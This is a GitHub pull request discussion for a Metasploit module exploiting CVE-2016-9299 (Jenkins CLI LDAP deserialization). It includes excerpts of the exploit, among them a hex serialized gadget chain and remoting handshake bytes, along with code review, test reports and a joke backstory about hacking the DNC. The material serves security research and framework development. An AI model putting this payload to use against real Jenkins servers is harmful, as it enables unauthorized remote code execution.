-
Notifications
You must be signed in to change notification settings - Fork 13.8k
New issue
Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.
By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.
Already on GitHub? Sign in to your account
Exploit for CVE-2016-9299 (Jenkins CLI Ldap Deser) #7815
Conversation
This is based on Matthias Kaiser's presentation at deepsec. We build a chain that connects back to our LDAP server and trigger it over the CLI HTTP interface. The LDAP server then serves a second chain based on YSOSerial commons-collection which triggers Runtime.exec. The second chain doesn't run with Jenkin's class filtering so succeeds.
Best. Description. Ever. |
After that, I say just land it. |
Beautiful! Entertaining wrapper for good work. 👍 |
This makes me happy :) |
print_error "Invalid URI: #{datastore['TARGETURI'].inspect}" | ||
raise Msf::OptionValidateError.new(['TARGETURI']) | ||
end | ||
end |
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
No need for all this validation. TARGETURI is a required datastore option. If it is nil, the datastore validation will kick in and prompt the user to enter a valid TARGETURI.
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
i've removed this validation
"Content-Length: 0\r\n" + | ||
"Content-Type: application/x-www-form-urlencoded\r\n\r\n") | ||
|
||
download.read(20) |
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
Since this is standard HTTP communication, why not use the HTTPClient mixin which can help you a great deal. https://github.com/rapid7/metasploit-framework/wiki/How-to-Send-an-HTTP-Request-Using-HTTPClient
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
I didn't see how to get HTTPClient to not wait for a response. The second one could probably be rewritten to use HTTPClient but then I think it would require the LDAP server client handling to be rewritten to be asynchronous.
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
@notivan There is nothing in the HTTPClient object that is preventing you from fire and forget. If you don't care for the response, you can generate the request through either send_request_raw or send_request_cgi. The reason why we care for the response is to make sure that the request actually hit the intended target. That is why we do:
res = send_request_cgi({
method = 'POST'
uri = normailze_uri(target_uri.path)
})
if res and res.code
<snip>
We can certainly do:
send_request_cgi({
method = 'POST'
uri = normalize_uri(target_uri.path)
})
<initialize the ldap client here
Checking the response is to make sure if the attacker machine can at least reach the target or if there is a Jenkins service running or not.
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
if we check for the response then the exploit will timeout. both requests will never return a full response. jenkins never completes the response on both connections because they are used for bidirectional communication of unbounded number of messages. one connection is used for sending requests from us to jenkins and one connection is for sending responses from jenkins to us. but your welcome to try and replace the TCP code with send_request_cgi or send_request_raw to check if you can get it working. i'm not going to spend time trying to change something that i know won't work.
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
but i noticed i'm missing a check method so maybe i can move a normal http request into there
write_chunk(upload, "<===[JENKINS REMOTING CAPACITY]===>rO0ABXNyABpodWRzb24ucmVtb3RpbmcuQ2FwYWJpbGl0eQAAAAAAAAABAgABSgAEbWFza3hwAAAAAAAAAP4=") | ||
write_chunk(upload, "\00\00\00\00") | ||
|
||
upload.flush |
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
This also looks like a standard POST request which can be handled by the HTTPClient mixin. https://github.com/rapid7/metasploit-framework/wiki/How-to-Send-an-HTTP-Request-Using-HTTPClient
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
as above we can't use HTTPClient because jenkins does not return a response
end | ||
|
||
new_str | ||
end |
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
If you happen to use the HTTPClient mixin, this can be handled through the normalize_uri method of HTTPClient mixin. https://github.com/rapid7/metasploit-framework/wiki/How-to-Send-an-HTTP-Request-Using-HTTPClient#uri-parsing
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
Because reviewers help contributors to write the code as best as possible, so that they can contribute more effectively the next time. "Just do it yourself" does not scale.
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
sod it deleting comments, they where badly phrased
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
we can't pull in the HTTPClient mixin because we are using the Tcp mixin connect() method and the HTTPClient mixin also defines the connect() method. As above we have to use tcp connect because jenkins does not return a response.
class MetasploitModule < Msf::Exploit::Remote | ||
Rank = ExcellentRanking | ||
|
||
STAGE1 = "aced00057372002b6f72672e6170616368652e636f6d6d6f6e732e636f6c6c656374696f6e732e6d61702e466c6174334d6170a300f47ee17184980300007870770400000002737200316f72672e6170616368652e636f6d6d6f6e732e636f6c6c656374696f6e732e7365742e4c6973744f726465726564536574fcd39ef6fa1ced530200014c00087365744f726465727400104c6a6176612f7574696c2f4c6973743b787200436f72672e6170616368652e636f6d6d6f6e732e636f6c6c656374696f6e732e7365742e416273747261637453657269616c697a61626c655365744465636f7261746f72110ff46b96170e1b0300007870737200156e65742e73662e6a736f6e2e4a534f4e41727261795d01546f5c2872d20200025a000e657870616e64456c656d656e74734c0008656c656d656e747371007e0003787200186e65742e73662e6a736f6e2e41627374726163744a534f4ee88a13f4f69b3f82020000787000737200136a6176612e7574696c2e41727261794c6973747881d21d99c7619d03000149000473697a65787000000001770400000001740008041ac080131d170678787371007e00090000000077040000000078737200116a6176612e6c616e672e426f6f6c65616ecd207280d59cfaee0200015a000576616c75657870017372002a6a6176612e7574696c2e636f6e63757272656e742e436f6e63757272656e74536b69704c697374536574dd985079bdcff15b0200014c00016d74002d4c6a6176612f7574696c2f636f6e63757272656e742f436f6e63757272656e744e6176696761626c654d61703b78707372002a6a6176612e7574696c2e636f6e63757272656e742e436f6e63757272656e74536b69704c6973744d6170884675ae061146a70300014c000a636f6d70617261746f727400164c6a6176612f7574696c2f436f6d70617261746f723b7870707372001f636f6d2e73756e2e6a6e64692e6c6461702e4c646170417474726962757465c47b6b02a60583c00300034c000a62617365437478456e767400154c6a6176612f7574696c2f486173687461626c653b4c000a6261736543747855524c7400124c6a6176612f6c616e672f537472696e673b4c000372646e7400134c6a617661782f6e616d696e672f4e616d653b787200256a617661782e6e616d696e672e6469726563746f72792e42617369634174747269627574655d95d32a668565be0300025a00076f7264657265644c000661747472494471007e001778700074000077040000000078707400156c6461703a2f2f6c6f63616c686f73743a313233347372001a6a617661782e6e616d696e672e436f6d706f736974654e616d6517251a4b93d67afe0300007870770400000000787871007e000e707871007e000e78" |
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
Might be worth adding comments with the YSOSerial arguments used to generate these.
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
i've added comment for STAGE1. STAGE2 was apparently reversed from this slide: https://image.slidesharecdn.com/javadeserializationvulnerabilitestheforgottenbugclassredactedv1-161116220612/95/java-deserialization-vulnerabilities-the-forgotten-bug-class-deepsec-edition-54-638.jpg?cb=1481704325
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
Interesting, thanks :)
Yes! |
we just check for X-Jenkins <= 2.31. this is not completely correct because the exploit probably doesn't work on some earlier versions.
This works for me locally:
|
sorry for delay |
Savage |
Works locally on Jenkins Windows targets too, but does not work on remote targets. |
That has been my experience as well, @MCKSysArgentina. |
What options did you provide to the module? Jenkins needs to be able to contact the ldap server running on your localhost. This can be controlled by LDAPHOST/SRVHOST/SRVPORT. I haven't actually been able to test it with a proper remote instance so it could be broken :( |
In my tests, I provide the LDAPHOST and Jenkins connects to the LDAP server (I checked this with Wireshark). All the responses were sent, but no RCE occurs. |
It appears the original exploit had been deliberately sabotaged to not work remotely. We have fixed this egregious error.
suspect not working remotely was openjdk |
Testingmsfconsole
(I also tried the external interface for the Remote System:
|
At some point, this might have worked under certain circumstances. Landing it as it stands. |
Release NotesThis adds an exploit for CVE-2016-9299. |
@The-Ga Please create a new issue https://github.com/rapid7/metasploit-framework/issues/new/choose |
ok |
when i was kid i dreamed of being russian hero
to hack american election and be awarded Герой Cоветского Союза by putin
i studied ten years at leningrad polytechnic majoring in computer
but then economy crashed
i could not even get job as devop
i was forced to work in block factory
the blocks descend upon me from above
they come down and I spin them around
til they fit in the ground like hand in glove
then one day foreman told us no more blocks
we were given print outs of a magnified slide by Matthias Kaiser
asked to type all the blurry characters we could see
and make up random characters for the ones we could not see
after two months of typing the bosses declared success
we had big party
someone said we would be going back to the blocks
i was so close becoming computer
one of the bosses Alisa Esage was boasting about hacking the DNC
i liberated her laptop and found this exploit on it
Verification
java -jar jenkins.war
msfconsole
Tested: